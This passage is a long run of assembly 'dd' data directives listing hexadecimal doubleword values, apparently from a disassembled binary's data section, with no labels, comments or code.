		dd 78D77BD4h, 0C7FFA703h, 0DEAB8A3Ch, 173A8FE3h, 0EF716C60h
		dd 15893196h, 1B02B9DAh, 6F206100h, 74D4D144h, 0CD7582E1h
		dd 42019B05h, 445EC936h, 6B4C189Dh, 1F75Eh, 1B7981E8h
		dd 18BDC6A9h, 80A85135h, 1A4A64D6h, 0F417D0A6h,	3C9C639Eh
		dd 0C36AC04Fh, 511B36D6h, 0DA6E3A2Dh, 68FD69B6h, 639650A8h
		dd 0B81D3712h, 5CEA0B4Dh, 0FF5761Eh, 0DB843634h, 6245B1E6h
		dd 51C6965Fh, 0C6F40C94h, 47C16488h, 12EA7FEh, 63125DA8h
		dd 0F7B8FC05h, 0E46CDD4Fh, 0E66B8EADh, 0A6C3668Bh, 0E40169D6h
		dd 0C36C1484h, 0D6448949h, 7B2503C2h, 1315F00Ch, 0DC2EC404h
		dd 65301335h, 8EBC1235h, 7049F7F5h, 0E906204h, 406958E5h
		dd 1EA05CB6h, 0A4B3686h, 59D4BB3h, 20DFC9Bh, 2944B4A7h
		dd 90AD57D8h, 58CD684Eh, 7B309E44h, 9C1632AEh, 3A9B07F9h
		dd 40F47B24h, 0DFCE27Ch
		dd 0FD376484h, 0A1148442h, 0E0EE072Ah, 0D49002F5h, 182E09Bh
		dd 60421184h, 3F69B53Ch, 6E33E212h, 73AA320Dh, 0FBCC2C96h
		dd 0C1287212h, 0CE4550B8h, 822DDCB6h, 751D4871h, 0BB2D0DE0h
		dd 0B9AA5292h, 1B03C26Bh, 252E2D0Ch, 0F7930B97h, 998A0183h
		dd 6D521269h, 0E6412C45h, 1BC948A4h, 26F51FE4h,	0C888386h
		dd 0ADE3B259h, 5B1AB14Eh, 0C07F4E89h, 0C112ED7Bh, 0A73FA7B3h
		dd 0A00C6632h, 0EC109C48h, 0AB77F4BBh, 0DB5FFB1Eh, 633A1272h
		dd 0EDBFEB4Dh, 6B34B268h, 0EA42C289h, 32B5367Eh, 0CDAC870Dh
		dd 0D5D8E505h, 0C04E8F5Fh, 0D376E933h, 4ED9FCE6h, 8F2DD763h
		dd 1B92BAB4h, 0D7151A0Ch, 0C601612Ch, 9C9DCF9Fh, 949EC684h
		dd 2FD80BAFh, 16DD7486h, 9054B50h, 9FCB9B65h, 5B3496C7h
		dd 8246565Eh, 0D206FD57h, 0BF38AB82h, 2201C4B6h, 0F5CC44D7h
		dd 37C05862h, 0C748432Ch, 0C5A26FBCh, 9890E701h, 0FD1DEE5Fh
		dd 76A914Bh, 529F8F09h,	0EBCC0D52h, 917296D3h, 416347E8h
		dd 8B1E40FCh, 21A910E7h, 0A8BCFFB8h, 635BAECEh,	2179F3BDh
		dd 221D19AFh, 75F2F935h, 0CC0C4245h, 0B0009CA3h, 479E7D5h
		dd 47FD311Ah, 3525135h,	0DEF2B1C3h, 7ABBAB61h, 0BCB412Ch
		dd 46B84273h, 6C62F4D7h, 3BABB26Bh, 0BFF547D5h,	0DC1430BFh
		dd 46F91BA6h, 5F3F9F93h, 8360BECh, 1F3CD643h, 2B2B54E6h
		dd 5AAFB437h, 32DB2A2Ch, 98D57E4Ch, 7C3CFCACh, 0A7D976F7h
		dd 92492CBAh, 95E278EDh, 0CAEE7788h, 0D0C0C822h, 0A435BDCFh
		dd 82D5569Ch, 5338099h,	1314EBFCh, 0B2FEE2E3h, 0FBE9CDECh
		dd 0C4132A26h, 822F22BCh, 42EEC7C4h, 0E083EF28h, 1BE05D57h
		dd 4EFA3B4Fh, 0F50AC420h, 162B98D1h, 5EB4D0ECh,	0AABBAFFDh
		dd 8AA4469Ch, 1F46F885h, 0FBE0CC58h, 6CB80410h,	8B626921h
		dd 967A0CCh, 3E9CBDA8h,	0C8D7EC82h, 0BB52660Bh,	17F6B5F9h
		dd 48431987h, 1D7F4137h, 7A05829Ch, 3564AAADh, 7777177Eh
		dd 0F89549B2h, 0BDD67916h, 0E8474673h, 3692CC9Ah, 44A471DEh
		dd 92133D1Ch, 527346DEh, 0C66F8D5Ah, 4702F826h,	0B13BE49Ah
		dd 735D9E19h, 925B8D9Ch, 0AC6D5CC9h, 7DD7CB3Fh,	7B44B736h
		dd 3DAF94D3h, 0FA0B435Ch, 299ADB57h, 0FE498F95h, 9C23A5FBh
		dd 16F86B31h, 2C73880Ch, 741751F3h, 2A747360h, 0A92436BCh
		dd 960B8B74h, 0F1E6BE9h, 96899588h, 0F7374D76h,	0B5D3A586h
		dd 0F22BE18Ah, 1DF3F0ACh, 59E234CBh, 0BDF40CABh, 0C0BB543Ch
		dd 735B5FAEh, 4EA6F637h, 0B4E5AF5Dh, 0D1B8621Ch, 0E78EDE4Ah
		dd 0EC1BFD6h, 6F9DA205h, 0F1316644h, 0A4DA81D9h, 3A44855Ah
		dd 4A7CB72Ah, 3DAC9A6Ch, 0DC41465Fh, 41BA9403h,	0BC7C8942h
		dd 0F856E49Ch, 2A644038h, 7C0CF6BCh, 0C097A6E6h, 5E429C92h
		dd 0ACE2DCC4h, 30EF4FA9h, 78C3FF72h, 1EC48940h,	4F897C0Eh
		dd 49F75Dh, 0EC9FCD46h,	0C9CFBA81h, 0BE39773Ah,	65A2FFF0h
		dd 17341C18h, 0DE57CECh, 972AB3AAh, 0BAB9E92h, 624FAA76h
		dd 0A894A40Ah, 0DB4B916h, 91244E09h, 0B1E9F80Ah, 3EA0EF27h
		dd 1796CB87h, 5A49DB8Ah, 0AF2BF4EEh, 1FF87BF5h,	99D3598Eh
		dd 0CD327D52h, 0F5925C94h, 8F46A495h, 41A2E8E7h, 37EEBD07h
		dd 0BB886F6Bh, 0B27D7139h, 0AB2A1C7Fh, 0A0D339ECh, 0B8B711B9h
		dd 4826A3B2h, 35FA65F4h, 0FD5AEB74h, 0D019327Ah, 20CA37A4h
		dd 4EB97E5Ch, 634A0A21h, 59F45F3Fh, 8D3360A4h, 0C15F3189h
		dd 0E2F75A71h, 0C19B239Ch, 589091E8h, 991882F9h, 0B1284544h
		dd 435D5505h, 9C3CB4C9h, 0B1317CD0h, 0AB18EE5Bh, 338FCC17h
		dd 3166EAC2h, 0B2F02645h, 0D0FA2F0h, 5FBFC5ACh,	0D8854D7Fh
		dd 0BAE9E6AFh, 0FE89C3C4h, 0F28BFC04h, 60FDEF60h, 9BD06533h
		dd 25DB1AC0h, 0A6D319CCh, 6D4BA88h, 0E2D123DEh,	0C9B02558h
		dd 75C63DEBh, 0A67A4CE8h, 7AD82F48h, 104700BEh,	0F656E541h
		dd 49D7EAE6h, 0EE4D6576h, 705585F6h, 25FD4B81h,	0CA497567h
		dd 1D57BE25h, 6185FC2Eh, 8373E97Dh, 4FDAE93h, 0A5DBBA53h
		dd 96D9E9FFh, 38E9EC8Bh, 0AFFCE823h, 0E21D3F5h,	12F9C226h
		dd 0F82DEE8Bh, 0E2C96DB5h, 0DE6273ADh, 217CCD75h, 0B8E61483h
		dd 141B56E7h, 97A33D6Eh, 0A78A079Dh, 0B043E811h, 1EE6D6DDh
		dd 0E976C8A2h, 286EEBE3h, 332DE01Ah, 0ADA097BBh, 0FBA6BA14h
		dd 1B3E507h, 0ACCA942h,	20C03332h, 0C63CCC69h, 3556186h
		dd 145617BBh, 769D9E86h, 4D612F10h, 0F0ABAC55h,	9F1BF7BEh
		dd 0B3385180h, 4A63FD6Eh, 0D0A86F40h, 20910569h, 1A40E94Ch
		dd 66DDE76Dh, 7B3D3408h, 0FCE9C879h, 982AAEB2h,	0FD4DC9D3h
		dd 0B414F817h, 556EB589h, 0F31A27C1h, 0F18D94C1h, 8221E4FEh
		dd 0E51B3CCDh, 941482D8h, 267D8642h, 0F0A63019h, 0E660C2BDh
		dd 767B448Bh, 319C6A3Fh, 19F32E5Eh, 59B06CD9h, 0C93B5E3Eh
		dd 0A398644Bh, 8B370553h, 6CE68E22h, 2E621505h,	29CD3C6Ah
		dd 0E02234E4h, 9EF32D7Bh, 0CA011230h, 0BC5C2F9Ch, 9FE72DA3h
		dd 0E96BC6D3h, 1B0A0203h, 0EC086AE0h, 4FB876C4h, 5EC45749h
		dd 48995E2Ch, 0E194F8B1h, 10DA4E55h, 0EC3E0E57h, 0E347BEDCh
		dd 0A9AAE5C8h, 89E8945Bh, 0D1E47BA4h, 0C3EF17D0h, 20A7850Fh
		dd 2F90C99h, 806B85DDh,	3809E0F6h, 9F134D0Ch, 10BE14Ch
		dd 35242C76h, 9591CBB3h, 90CD702Bh, 0C26AAAD8h,	0A02F0423h
		dd 0F9EC1E4h, 0E3F870BBh, 0A4EA76E9h, 0CC314556h, 30E32B85h
		dd 0F8C5E091h, 0C5A8D34Fh, 7AC4861Eh, 0FF99BEF0h, 757D76BEh
		dd 6374FFBDh, 0B2E736EAh, 349CCAC6h, 7B124661h,	0CAF0F22Eh
		dd 8BF00B57h, 0DB8B9418h, 8A7B7854h, 0BE4F3764h, 0FB9CF73Fh
		dd 0A070BBC7h, 1438BA5Dh, 0FC0ADFA1h, 0BD15A589h, 0CBB09FF0h
		dd 0C6F03A5Fh, 3CE2EC22h, 0C288629Ch, 0E7A2E698h, 28CA1DF2h
		dd 0DA408B34h, 0F3CDACE9h, 92B03713h, 0B1C7E3F5h, 0CB29367Ch
		dd 8EF664F7h, 87983255h, 8608415Eh, 9029EB6Ch, 0F1B9867Bh
		dd 23068B80h, 695F0752h, 0CE7B2A8h, 0FA87532Dh,	8C8AED99h
		dd 9D614063h, 9D7B3118h, 5766C895h, 0A0DB1E9Ch,	48DAA80h
		dd 4AA271E3h, 95884EBh,	0EBE2A041h, 0F70520C1h,	0A72B0048h
		dd 92A15E79h, 87DEC092h, 0A40A663Eh, 41B933D6h,	57EE89C5h
		dd 71E1F2E4h, 171F3924h, 0C6369171h, 0C12F903Dh, 0FDE78868h
		dd 3984111Ah, 0CCD9792Fh, 0FA2DF094h, 3B91F9B6h, 2C095F3Eh
		dd 0F93ED9CFh, 0CB00C00Fh, 325B1CA1h, 36D09B12h, 335E0D2Dh
		dd 0BA787566h, 1F23512Eh, 7C5D143h, 0AF71A6D4h,	4FD0AF1Dh
		dd 0F8C997C7h, 0D018672Eh, 0B7A74E72h, 60714BE9h, 95B0F979h
		dd 9A95AFD4h, 23B77E74h, 7FAFD448h, 49D84249h, 2236E5BFh
		dd 0ED3E3E5Fh, 0C9721452h, 28D11717h, 1DA6ED48h, 5AADC88h
		dd 0B396EB91h, 1B5827A9h, 0A6DA81A5h, 0B8D95253h, 0F8F8EA99h
		dd 3B98FE52h, 0BAB45D8Fh, 640B6016h, 90319545h,	76D2DA17h
		dd 4998B626h, 0A2E21F34h, 23D202Ah, 0BF3ACEBEh,	3CDDD905h
		dd 629001BAh, 2FCA40EFh, 9717E84h, 8E9ED71Bh, 0DB007573h
		dd 708EEC49h, 8F1BCF8Dh, 93431FDh, 5DD0A830h, 0CBA08DCCh
		dd 6D193D2h, 82036CC0h,	112AD2Eh, 0C67DD086h, 8E13B8F6h
		dd 0FA10F023h, 4CA607D6h, 1E8C3FC1h, 0A0BE0E0Dh, 8DEE6754h
		dd 8AB6D2C2h, 0E38D6B8h, 0A8AEDBA5h, 514CD7Eh, 3E3F1243h
		dd 0D880630Dh, 12E17BB2h, 3C951A79h, 0FDFB828Fh, 0EE29B59Ah
		dd 20D1D889h, 10141034h, 0FFBF03D4h, 2D150598h,	282B8EFDh
		dd 0D2CA9971h, 0F4D60E49h
		dd 56C12687h, 1716DD4Bh, 9D0267D4h, 556F802Fh, 4EDD0139h
		dd 0C01041C0h, 0D3C7EF34h, 0CC691F95h, 59614053h, 0C1A84BCDh
		dd 0B75CE324h, 66CCD724h, 0BED75D96h, 0E929533h, 0ED0C2EFDh
		dd 9035171Dh, 0F6E2A195h, 0E991B668h, 60F91E28h, 0E0197AAFh
		dd 420517B5h, 0CE6543D5h, 507919E5h, 57A2FA4Eh,	0E5A89D30h
		dd 0DB9F8C32h, 79991ADEh, 69725FB3h, 78CB22D6h,	40133818h
		dd 19130870h, 9C53D684h, 933F6C98h, 21A43FFAh, 7D7B9928h
		dd 2F5C9853h, 0BE53E894h, 5BA669D8h, 5E947D54h,	88B4186Dh
		dd 0BD6F3E8h, 36D186A4h, 31101BC6h, 518537EDh, 0DE54CEBBh
		dd 932EBEABh, 0A1F8753h, 69DA6021h, 6F7CD3B1h, 0CD0675C0h
		dd 0A694145h, 8967CE92h, 812A3F79h, 3E533F0Eh, 0BAF4318Ch
		dd 3E504B1Bh, 0AE4E5E3Ah, 7394BB01h, 22074D8Eh,	81D603EEh
		dd 0A04A6079h, 3B3836A6h, 0BB6650D1h, 0FB5A78Ch, 49E77FBCh
		dd 53EAD1D1h, 5035FE21h, 18398DC4h, 0E55583E7h,	7A7A9309h
		dd 38959B0Bh, 0D56E9844h, 0F1BAA20Ah, 0EB78F41Ah, 576E7CAAh
		dd 369E528Bh, 0A9337EB7h, 0D325A68Fh, 0DF8639h,	0FCF543B9h
		dd 0AB57788Ch, 9A016D30h, 0DA46F5CBh, 31DB66DCh, 0D849A357h
		dd 0CFA96E74h, 2B9E64F9h, 0B8B94840h, 587937C0h, 0A4C97D1h
		dd 8B385D4Dh, 6AB0CF37h, 3FA7D630h, 0ECEBDBE1h,	0EB16B8A1h
		dd 0D916BA1Eh, 206FB89Fh, 124F501h, 285EDFCFh, 8467C1h
		dd 0E5A24C59h, 0B8A19700h, 32A765E0h, 0AE9E6A4Ch, 36FFC9F7h
		dd 0F3E3C3FCh, 5A95E138h, 0EBA2087Dh, 3FCCDDBAh, 0D4547F3Ah
		dd 7745D779h, 0DF09F7F6h, 584FAC2Dh, 0EBE1CB61h, 0CAFB36CBh
		dd 0FA037536h, 0FD041748h, 0FFB52840h, 99ABD9B5h, 0AC596261h
		dd 78913D32h, 37E01B49h, 0FC2B2EB0h, 0EEEA9C5Eh, 4FA36980h
		dd 3A6E0E09h, 0A400D574h, 0AB26FFC6h, 0D09FCE3Bh, 2228E033h
		dd 0FFE87516h, 55E4217h, 62A78F4Eh, 55B6229h, 77E95AEDh
		dd 3F5D7F49h, 2483F5E2h, 0DFD872D1h, 0E290D9DBh, 769243E0h
		dd 0D060E676h, 90EFC514h, 9FE5C723h, 0C95EA875h, 2DFF1C0Ch
		dd 73ABF270h, 9722730h,	0A21A4C08h, 19639A7Ch, 0FE1FDB56h
		dd 1D9B9A0Bh, 0D1B8CAD7h, 0EBDA4EE0h, 29AA812Ch, 82959C98h
		dd 3DBC34AAh, 7D7FAC59h, 3AB3249Ah, 0D9766B54h,	0DB9FA1B9h
		dd 90F00FD9h, 7CD3EEC4h, 2EF0EBF9h, 3852C70h, 0EB017660h
		dd 9D271BCh, 30F89283h,	3EA5B713h, 9329E7F9h, 3A5EB4FFh
		dd 0D25265CAh, 0CE14013Fh, 415518C7h, 0CFE597E4h, 12A302BCh
		dd 5A15904Eh, 19FC56E0h, 0DE2FBB1Bh, 8EDF2127h,	8DFF1E0Fh
		dd 0FAEF4904h, 0AF5AACB3h, 4D643122h, 206ADF41h, 0F6CBF432h
		dd 95C5539Eh, 2450C516h, 4DB5348h, 821919EAh, 0CCBBD750h
		dd 3D3EFA74h, 0ED7536DCh, 6AD990A1h, 34616DEEh,	4B19101Fh
		dd 0B5C5046h, 1FA268D3h, 0CE8B5A5Eh, 0D7BC0F30h, 837B88BEh
		dd 0E774F678h, 0F9A46471h, 70529FC6h, 0F026E816h, 0B1AB45A5h
		dd 0EF8CC16Ch, 46D3C578h, 1C5800A7h, 0F4951CCAh, 3F241BFBh
		dd 0B3EF62C3h, 265A59E9h, 0FFCCE11Dh, 0DDEE9184h, 69A08927h
		dd 41E1D12Ah, 110EE62Bh, 86BA7F01h, 9AE56BC6h, 5EDDCF77h
		dd 9D2806C0h, 0FC8E984Bh, 4B6954F5h, 0E27761B6h, 0CAD45B77h
		dd 0DDDCBAF2h, 63E25B95h, 19BDC7E8h, 0B4BD8CE9h, 3B27D1A8h
		dd 0C8D02E37h, 0BA1E836Ah, 4F75DE76h, 4D3C0404h, 23BEA9EFh
		dd 0A9141B51h, 43906962h, 54FB36B1h, 5C224DD0h,	56C0A2F4h
		dd 59DE23CFh, 0DE078473h, 5A01914Ch, 0D392551Dh, 583DB66Fh
		dd 0A3043D5Eh, 2CFA18Bh, 0D2D80BBDh, 9DAEE669h,	26777E2Dh
		dd 0BD6C5DF7h, 9814B21h, 1FC0EC53h, 9EDA2249h, 0F4382C43h
		dd 0C1EA58F2h, 0DBE5CD26h, 0E5FE9937h, 4731BA6h, 0FEE55B8Dh
		dd 60F0B906h, 4988AACAh, 9D86DC8Ah, 6CFC0BE3h, 0ECF524Eh
		dd 0DB3C9501h, 99D1F3B9h, 4FAEC72Bh, 28AAA6E3h,	0DF99D465h
		dd 1985BFDAh, 6438F89Ah, 72093015h, 98FFC799h, 724D65CAh
		dd 0ADB13391h, 72B01F7Ch, 0A0DAE014h, 5D37E9CFh, 0F8BD22C9h
		dd 0C308492Fh, 0CF011222h, 0BED0B7B3h, 33036E27h, 2328A0B8h
		dd 0E7C29AB6h, 0C1A0A0CBh, 6FE459D1h, 2D6B302Fh, 5EE56CECh
		dd 940D19CAh, 94EEBD75h, 0BEDE1EADh, 0A76F5DB4h, 0AD35E11Bh
		dd 0D7B87BD8h, 4595FC4Ch, 4971D851h, 48E9653Bh,	0F50E92E0h
		dd 0D7CF0861h, 0D06021E9h, 0EB009472h, 0EA3F6E3Ch, 0A2B90D62h
		dd 1A8B1661h, 0D8AC0CACh, 4734D7CCh, 36F3C5Bh, 45EBC9E5h
		dd 0BCD9446h, 8C56B9BFh, 96D0F473h, 53610E98h, 64617B5Fh
		dd 2A84BC2Bh, 360CBCF6h, 2D4E958h, 70766062h, 0DBF7568Eh
		dd 0DBF2E1CEh, 0DE6911DCh, 0DE08E17h, 61122186h, 0C53BBFB2h
		dd 9C2AAFA0h, 15150A29h, 0E15E0B23h, 383022A5h,	0DBD10496h
		dd 10273399h, 7A6E596h,	262CF88Eh, 0A699FFD9h, 39D05CB1h
		dd 68E2E8A0h, 512E0352h, 7F19987Bh, 6A2D02FCh, 582D62F4h
		dd 3377992h, 30AFA3E4h,	0E5BED759h, 7C4E6D4Fh, 0D90A1019h
		dd 466B30Eh, 0B1443E0Fh, 6A30FAC0h, 0D81B4ECFh,	37C8DDBFh
		dd 4AF779FEh, 0B8AC8B9Ah, 0C5821D93h, 0BAB104FEh, 0E98D7C3Bh
		dd 0A00D62BFh, 0A5D1EB1Fh, 250E6A0Ah, 8F5A1943h, 5F590B6Ah
		dd 4E858F35h, 1C180ACh,	27570510h, 5D64449h, 0DF184B9Bh
		dd 23CAF9Ah, 0D6D4A33h,	2CAEC8DCh, 15558AB7h, 1D5A3647h
		dd 9054CA65h, 91992C4Ch, 0A6ADDE84h, 0F7C88077h, 4E3DFE90h
		dd 0D7CE1834h, 3AED00BEh, 1640509Eh, 0C553146Dh, 1AD7DDA7h
		dd 5EBF1C8Eh, 8FE9C8D7h, 0AF349CC4h, 4B68D60Ch,	0A43F07BEh
		dd 0B6460358h, 0E61447F7h, 9AFE4131h, 4B680F1Ch, 37C6514Bh
		dd 0E4D6E84h, 6F86DE65h, 0E3B1B160h, 0AA9191CFh, 2A271C87h
		dd 30693421h, 2C1D653h,	15E5076Eh, 0DDD871E4h, 2DFCAEB8h
		dd 5F4532C7h, 6F0ACFDCh, 0DE36BCB0h, 0C96F24Eh,	0F9C345BEh
		dd 676A304Dh, 0CD3BFF2Bh, 91FB2BECh, 424BCB55h,	77849D04h
		dd 41CB49DAh, 55F5B9A7h, 0EFE5452Fh, 0D4958F07h, 0B159DA18h
		dd 15271980h, 68E2A5C5h, 384B5AF7h, 0E976C5C8h,	72EE700h
		dd 3BA2E819h, 98A178B8h, 70BB9FE1h, 31E3672Fh, 33038E07h
		dd 920A88C5h, 0C1D81395h, 0A0104CC6h, 0A79E85Eh, 1A37D9D7h
		dd 800DD85h, 7CB77DD8h,	0D2F8DA95h, 651C5979h, 55FA3384h
		dd 0DDCB3EBh, 87F2D953h, 266FDF50h, 25527285h, 6D02ACC2h
		dd 0A162FED2h, 0EC5ED5B3h, 2E737284h, 9E8BA614h, 75800295h
		dd 83DD66Ch, 70507361h,	0C9E8B85Fh, 7736C809h, 8D7296B7h
		dd 0F0F90AEEh, 0E0FFD888h, 652FD7B3h, 66EDC8A8h, 0DA34F7CEh
		dd 0C28CD0C6h, 0AE0F3D30h, 0E5990717h, 7DB3F1Ah, 0CFC6E174h
		dd 1BC25C1Ah, 0D6D077E0h, 509A38C1h, 0BFBA382Ch, 0E38D277Ch
		dd 0B6B34818h, 7085811h, 9035E785h, 0ECCE3283h,	0D4DCC44Bh
		dd 0D6F885A5h, 0CF149D2Ch, 1A39A17Dh, 0DC5C7E92h, 2CBB473Bh
		dd 0AF980EBCh, 22C0D569h, 1B72DEC5h, 0BFD61076h, 0A760B2CFh
		dd 8AC708E4h, 0F6CC260Eh, 8B31EE51h, 199E1A94h,	43D723B1h
		dd 19D7A21Dh, 1679C0AAh, 0D72AB73Bh, 2B295DF4h,	5B061126h
		dd 4559928Eh, 8AA853B6h, 2B06E23Dh, 0AE690E8Bh,	0F95E3F68h
		dd 19514555h, 0CABC6065h, 0CC28D22Ch, 37B03395h, 8648691Ch
		dd 0D91A8551h, 2868F812h, 0FA13ED70h, 0D3ACA568h, 0D8660B1h
		dd 5271E4DEh, 9B542A5Bh, 0BBD9865Eh, 0A1D2EBAEh, 3CA1FB06h
		dd 0EDFF1DACh, 9A1834E1h
		dd 6E6D6028h, 820CB2EFh, 748729D6h, 0D3A7DAA4h,	4B9B13D5h
		dd 0FDF0FBECh, 9B3708E7h, 0F3FD91DDh, 2E22C491h, 0D40B9461h
		dd 8BA13480h, 578C6504h, 0D4F59F4Bh, 0C03BD84Ch, 5A0C285Fh
		dd 0F8E69545h, 0B5C64DC8h, 0D69A4C33h, 95BB9171h, 0F64F8F74h
		dd 0C96E8A7h, 0B4339AD3h, 4AC4FC62h, 2966E961h,	0CDD75CAFh
		dd 0FBC5D57Fh, 824FA25Ah, 5D24D1F5h, 9392DF3Dh,	2173C494h
		dd 483FADEh, 9538D985h,	0B29C656Eh, 7B8535B6h, 0A5E712C3h
		dd 88225175h, 0B665DCF3h, 3F8B8912h, 0C7EC2B84h, 0E17F119Dh
		dd 0AA7831C2h, 39BBBBFEh, 268F9ECDh, 4E78E20Ch,	7027FBA4h
		dd 0BE7AE3D5h, 0B01AC29Bh, 0F237E9B0h, 0FBE5ECA8h, 5BEAE9BFh
		dd 32F5ED2Ah, 3C51CDD8h, 714D730Bh, 48202EEh, 519EC55Bh
		dd 0D02AC2B7h, 8158F780h, 0F47FC603h, 4C25435Ah, 0C4BE59FFh
		dd 9A01D18Dh, 4B48CD23h, 7C11DF8Bh, 2DD4EE9Ah, 0ECDA3E0Eh
		dd 5D189A50h, 72372286h, 66E54CBAh, 860115F2h, 0F3A12B95h
		dd 0C18914B7h, 0CCE91E32h, 0B54FCF96h, 153B54DCh, 0CBF38264h
		dd 91C9C2ACh, 2B3FB06Fh, 8B937F85h, 0AA7825BEh,	82CD6E94h
		dd 43E4B903h, 0D791A114h, 0B8CF1BA1h, 4CD2A350h, 58D92C8h
		dd 2D96307Fh, 3D304162h, 0D5AA2B1Dh, 0C72A5AEEh, 80FA1336h
		dd 796DF0C1h, 0A6E5A34Ch, 0A197AD2Ch, 52110E1Bh, 0C304AD88h
		dd 0F535759Bh, 0E3AD27ADh, 8F974950h, 697D703Ah, 2E49BD72h
		dd 39D460A6h, 0FF00E2F3h, 2F2C6849h, 21D3272Ah,	8203D7F9h
		dd 0DE99EDC4h, 0EBBC24B6h, 0EC90FC29h, 0CBBD4ABBh, 0AA1990E3h
		dd 0D9431010h, 449AA9D7h, 0CD8A7637h, 49DFF172h, 5A1EEFCFh
		dd 64C2B3D9h, 26391B8Bh, 2195D8DCh, 7A3A795Bh, 42BEA3C8h
		dd 252C3BD9h, 525FD387h, 0EB855AFCh, 6D03CE3Ch,	0ABC8102Ah
		dd 86521F80h, 607B604Bh, 0D1289A6Fh, 0C6025CC3h, 0DD9399AEh
		dd 513A1E5Eh, 87C2A590h, 61E19325h, 0D88C1CF9h,	0A4887170h
		dd 43D496BBh, 0D924C981h, 15615859h, 0B88868C6h, 5B3A85FCh
		dd 79042E9Fh, 0C534B828h, 0EA5ECB8Ch, 0A1687160h, 3F3D696Fh
		dd 9E6E69EEh, 0AEEE3C41h, 29B5E2DCh, 4C150E62h,	6B59E93h
		dd 28FC82B6h, 0EF16D0CDh, 63FD0CA1h, 233749EEh,	98521DE0h
		dd 0DDAF5202h, 0CF78FF12h, 528A00D0h, 0AB30F070h, 0B4B98A0Dh
		dd 39B7180Dh, 2C4B4010h, 3CBC6937h, 29A76A57h, 0BC2CFF75h
		dd 0CC402001h, 9D820ECh, 0C75ABCCh, 81B42FE8h, 0C5A84B13h
		dd 2EA6730Fh, 32A39272h, 0D4BDDA10h, 5699F06Ch,	22E4ADC3h
		dd 8D6BF31Dh, 7DD0B7E4h, 84F5922Bh, 2CEEEDC0h, 0B5EA6ADCh
		dd 0D3693213h, 0AB52021Ch, 34F8A5Dh, 0DC9CD112h, 148E929Bh
		dd 59FA534Ah, 0C33E50D2h, 0BA2D4A34h, 0B41FE7E2h, 0F8D9C6Ch
		dd 0E7E37978h, 132FBCB4h, 0FE2C902Bh, 156FD8B9h, 0ADB13F33h
		dd 525A251Dh, 0B58B52DEh, 44D917B1h, 267AEF9Ah,	5E466D8Eh
		dd 0C876FA3Bh, 24CFA07Ch, 0E6773B4Ah, 6B4D6837h, 0F8D79F13h
		dd 69DA7F00h, 1C562739h, 0CFE928C0h, 0C5E07559h, 0F6E1FCFAh
		dd 91333577h, 158CFF38h, 571C3F2Ch, 57557F95h, 0D4A86CDEh
		dd 3C98D23Bh, 0C6E53963h, 0E259A528h, 0E65F98DEh, 0E297A18Fh
		dd 4E2D9F11h, 0DFFF7922h, 1149D913h, 10CB0C8Ch,	0FD112D8Dh
		dd 0DC823832h, 4656D7DFh, 0A5E9A26Fh, 0D1F4AA72h, 111C3774h
		dd 51CAFD13h, 8F6FB738h, 612F9624h, 6158833Ah, 0AAF6EB5Ah
		dd 7A897FAFh, 92940CF9h, 93600050h, 0A8B28F57h,	73716504h
		dd 0D2A8C442h, 9F2909A2h, 79878204h, 0A00DE4E5h, 0FFA47264h
		dd 8D8F5C48h, 0D400B189h, 69FC1D4Dh, 82F54089h,	0EA115F55h
		dd 0B1A88589h, 0C756CA57h, 0D7B6630Dh, 0CAD52406h, 0BE708002h
		dd 7237E7D9h, 4A878054h, 0EE8CC222h, 0AE854717h, 77010F54h
		dd 28559281h, 15AF5995h, 0E370538Bh, 47E3873h, 0C7BC2921h
		dd 3198041Bh, 5CE9EC2Dh, 0AC6DF998h, 2A43DAC8h,	0B93579D2h
		dd 0EF3F9EEDh, 0EE769395h, 8BE60525h, 0C48EC074h, 648B03ECh
		dd 1BB0316Eh, 81901AF4h, 0EA1ECFEEh, 0F7AE4FD0h, 59E39901h
		dd 0D7E2DE8Ch, 0F6DCA629h, 0D4AA1EF8h, 1F16FA7Bh, 0A3CA2226h
		dd 0BDF450C3h, 26C3FED4h, 571B7387h, 36F2A7F8h,	1918D319h
		dd 1E646D51h, 0B6EBE1Ch, 75FC44B4h, 26F20C31h, 22E28953h
		dd 1824F366h, 95CF7A52h, 9F5DBFC3h, 0A8C6EBDDh,	9E6E3212h
		dd 9FC7F58Ch, 1A15BD9Dh, 80A28767h, 6903133Ah, 0AA441AA0h
		dd 10AA8763h, 0C3F0648Dh, 98CE9F78h, 0EB077E61h, 1393E78Bh
		dd 7FACFBAh, 18B887FCh,	2A94656Ch, 7D6A54E3h, 13B1779Ch
		dd 0B7EA2767h, 894D6B98h, 0F0A8FE9Eh, 68F38596h, 4E681178h
		dd 0F182D007h, 6EBB0C90h, 683A52D0h, 5A179368h,	2D714399h
		dd 0DE6F50FEh, 32900233h, 965024E8h, 3654CAAh, 0A7E21C2Dh
		dd 59BF1987h, 7C7B3101h, 78C0523Dh, 0B87F6993h,	0A05C2302h
		dd 1B3884DBh, 8372E947h, 32884639h, 8A3F23CCh, 25CC26E0h
		dd 76CB9CC0h, 0A43D9786h, 91D34C2Fh, 73C5A1D8h,	6F0DF8CFh
		dd 97D5AA80h, 0E4FDBA2Eh, 7B3CCEADh, 8C3CD69Ch,	98525A01h
		dd 0B11E4943h, 8DD57B63h, 7C009F16h, 0A3D3CE98h, 0ABF2CB00h
		dd 5DD34181h, 1573760Ch, 0D524A9F7h, 0BA594032h, 0DAEDE076h
		dd 0CED71CD7h, 0A00899D3h, 0A0B04A86h, 9D14E303h, 0D406AE08h
		dd 65E37D00h, 17884E7Eh, 98B9B8CDh, 0DCF5F3CFh,	88ACAB4h
		dd 0EC69A160h, 4B5C3248h, 3F5A1187h, 6A5F02FEh,	939145D0h
		dd 0E8703C0Ah, 4B165C97h, 0CCCB636Dh, 0D0698F32h, 4896814h
		dd 6909985Dh, 7EC8BBDEh, 0E02C8773h, 5E265BD0h,	0B66CB46Ah
		dd 0A35DE9A7h, 3CB0EA89h, 0D10998C4h, 1E9CBB83h, 75F9C9D2h
		dd 0F163620Ch, 7A6AB731h, 46808EA1h, 95B88553h,	226CBFE5h
		dd 0EE2BE237h, 39DEB648h, 4D87F147h, 4340C3E9h,	7AC24C96h
		dd 64889720h, 193AADB4h, 7EAC03A9h, 8BC639ACh, 0A31A0B7Dh
		dd 761FA31Fh, 0E422581Ch, 43ACEB72h, 76418A1h, 0BE58DDFDh
		dd 14E07C02h, 9A1BACDCh, 0E455008Eh, 0BC26FF30h, 653F836Eh
		dd 0CC32170Fh, 0A1861251h, 0B54A1E92h, 8843BF10h, 0EC389707h
